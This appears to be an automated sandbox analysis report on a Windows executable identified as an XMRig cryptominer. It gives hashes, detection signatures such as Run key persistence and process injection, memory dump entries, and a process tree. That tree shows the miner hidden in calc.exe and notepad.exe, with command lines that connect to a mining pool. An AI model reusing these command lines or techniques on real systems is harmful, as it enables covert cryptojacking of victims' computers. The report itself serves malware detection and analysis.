Analysis

  • max time kernel
    147s
  • max time network
    19s
  • platform
    windows7_x64
  • resource
    win7-20240704-en
  • resource tags

    arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
  • submitted
    08/07/2024, 19:21

General

  • Target

    2d871747617c5a94cb914b9b2f8fc06e_JaffaCakes118.exe

  • Size

    3.5MB

  • MD5

    2d871747617c5a94cb914b9b2f8fc06e

  • SHA1

    c031460d111b99fe71245f138ea7d7fe1ecfe325

  • SHA256

    ea453bded22f1a2e5f7f218881641ea622880c79e32e6d182e14fb80139e6223

  • SHA512

    2dfe0192afb95d6104ffb9268ca1b4e4b44b2f1ab04e56f682665844465e567b389b7efc21b26a51f8a5e42fb1aed5ff5a38bff2c5efcccea3fcb63dfd2efade

  • SSDEEP

    49152:bw80cTsjkWaCM7tljPT5/S3MHdbF5BXGTH+bowcxSdAyAKjaWhIC/mcKqzKd9j1k:U8sjkpB3BUyFcM6ylThIC/5Kqz1Kkj

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 26 IoCs
  • ACProtect 1.3x - 1.4x DLL software 1 IoCs

    Detects file using ACProtect software.

  • Drops startup file 1 IoCs
  • Loads dropped DLL 4 IoCs
  • UPX packed file 32 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 18 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2d871747617c5a94cb914b9b2f8fc06e_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\2d871747617c5a94cb914b9b2f8fc06e_JaffaCakes118.exe"
    1⤵
    • Drops startup file
    • Loads dropped DLL
    • Adds Run key to start application
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:2540
    • C:\Windows\SysWOW64\calc.exe
      -o xmrpool.xmrminingpool.net:3333 -u GuyFawkesMiner-Admin -p xxxx -k --max-cpu-usage=50
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2916
    • C:\Windows\SysWOW64\Calc.exe
      -o xmrpool.xmrminingpool.net:3333 -u GuyFawkesMiner-Admin -p Rig -k --max-cpu-usage=50
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2764
    • C:\Windows\SysWOW64\notepad.exe
      -o xmrpool.xmrminingpool.net:3333 -u GuyFawkesMiner-Admin -p Rig -k
      2⤵
        PID:2912

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • \Users\Admin\AppData\Local\Temp\LZMA.DLL

      Filesize

      22KB

      MD5

      ccf916511374fa95c4c685ee0854fe9e

      SHA1

      27d7458ecafb17c202d262c990bd06f4d47098bd

      SHA256

      2a6b997d31834bd186e6ed19651b33bda29260ba09a17a78c6e81dfbc6b299de

      SHA512

      db90ddfb847192fd4736278d48ef31629e8e01e03f92e5c3c262963a2207b7f750d9200fa5f7904d659d3ebb3dd45cebd5a54779395da24a56ea8a3bc1923cad

    • memory/2540-15-0x0000000010000000-0x0000000010010000-memory.dmp

      Filesize

      64KB

    • memory/2540-3-0x0000000010000000-0x0000000010010000-memory.dmp

      Filesize

      64KB

    • memory/2540-7-0x0000000010000000-0x0000000010010000-memory.dmp

      Filesize

      64KB

    • memory/2764-36-0x0000000000230000-0x00000000004AC000-memory.dmp

      Filesize

      2.5MB

    • memory/2764-37-0x0000000000230000-0x00000000004AC000-memory.dmp

      Filesize

      2.5MB

    • memory/2764-34-0x0000000000230000-0x00000000004AC000-memory.dmp

      Filesize

      2.5MB

    • memory/2764-42-0x0000000000230000-0x00000000004AC000-memory.dmp

      Filesize

      2.5MB

    • memory/2764-40-0x0000000000230000-0x00000000004AC000-memory.dmp

      Filesize

      2.5MB

    • memory/2764-32-0x0000000000230000-0x00000000004AC000-memory.dmp

      Filesize

      2.5MB

    • memory/2764-39-0x0000000000230000-0x00000000004AC000-memory.dmp

      Filesize

      2.5MB

    • memory/2764-38-0x0000000000230000-0x00000000004AC000-memory.dmp

      Filesize

      2.5MB

    • memory/2764-44-0x0000000000230000-0x00000000004AC000-memory.dmp

      Filesize

      2.5MB

    • memory/2764-31-0x0000000000230000-0x00000000004AC000-memory.dmp

      Filesize

      2.5MB

    • memory/2764-33-0x0000000000230000-0x00000000004AC000-memory.dmp

      Filesize

      2.5MB

    • memory/2764-35-0x0000000000230000-0x00000000004AC000-memory.dmp

      Filesize

      2.5MB

    • memory/2764-30-0x0000000000230000-0x00000000004AC000-memory.dmp

      Filesize

      2.5MB

    • memory/2764-41-0x0000000000230000-0x00000000004AC000-memory.dmp

      Filesize

      2.5MB

    • memory/2912-46-0x0000000000170000-0x00000000003C5000-memory.dmp

      Filesize

      2.3MB

    • memory/2912-48-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

      Filesize

      4KB

    • memory/2912-49-0x0000000000170000-0x00000000003C5000-memory.dmp

      Filesize

      2.3MB

    • memory/2912-51-0x0000000000170000-0x00000000003C5000-memory.dmp

      Filesize

      2.3MB

    • memory/2912-52-0x0000000000170000-0x00000000003C5000-memory.dmp

      Filesize

      2.3MB

    • memory/2912-53-0x0000000000170000-0x00000000003C5000-memory.dmp

      Filesize

      2.3MB

    • memory/2916-27-0x0000000000250000-0x00000000004CC000-memory.dmp

      Filesize

      2.5MB

    • memory/2916-43-0x0000000000250000-0x00000000004CC000-memory.dmp

      Filesize

      2.5MB

    • memory/2916-10-0x0000000000250000-0x00000000004CC000-memory.dmp

      Filesize

      2.5MB

    • memory/2916-25-0x0000000000250000-0x00000000004CC000-memory.dmp

      Filesize

      2.5MB

    • memory/2916-21-0x0000000000250000-0x00000000004CC000-memory.dmp

      Filesize

      2.5MB

    • memory/2916-22-0x0000000000250000-0x00000000004CC000-memory.dmp

      Filesize

      2.5MB

    • memory/2916-8-0x0000000000250000-0x00000000004CC000-memory.dmp

      Filesize

      2.5MB

    • memory/2916-23-0x0000000000250000-0x00000000004CC000-memory.dmp

      Filesize

      2.5MB

    • memory/2916-26-0x0000000000250000-0x00000000004CC000-memory.dmp

      Filesize

      2.5MB

    • memory/2916-28-0x0000000000250000-0x00000000004CC000-memory.dmp

      Filesize

      2.5MB

    • memory/2916-24-0x0000000000250000-0x00000000004CC000-memory.dmp

      Filesize

      2.5MB

    • memory/2916-18-0x0000000000250000-0x00000000004CC000-memory.dmp

      Filesize

      2.5MB

    • memory/2916-19-0x0000000000250000-0x00000000004CC000-memory.dmp

      Filesize

      2.5MB

    • memory/2916-17-0x0000000000250000-0x00000000004CC000-memory.dmp

      Filesize

      2.5MB

    • memory/2916-16-0x0000000000250000-0x00000000004CC000-memory.dmp

      Filesize

      2.5MB

    • memory/2916-9-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

      Filesize

      4KB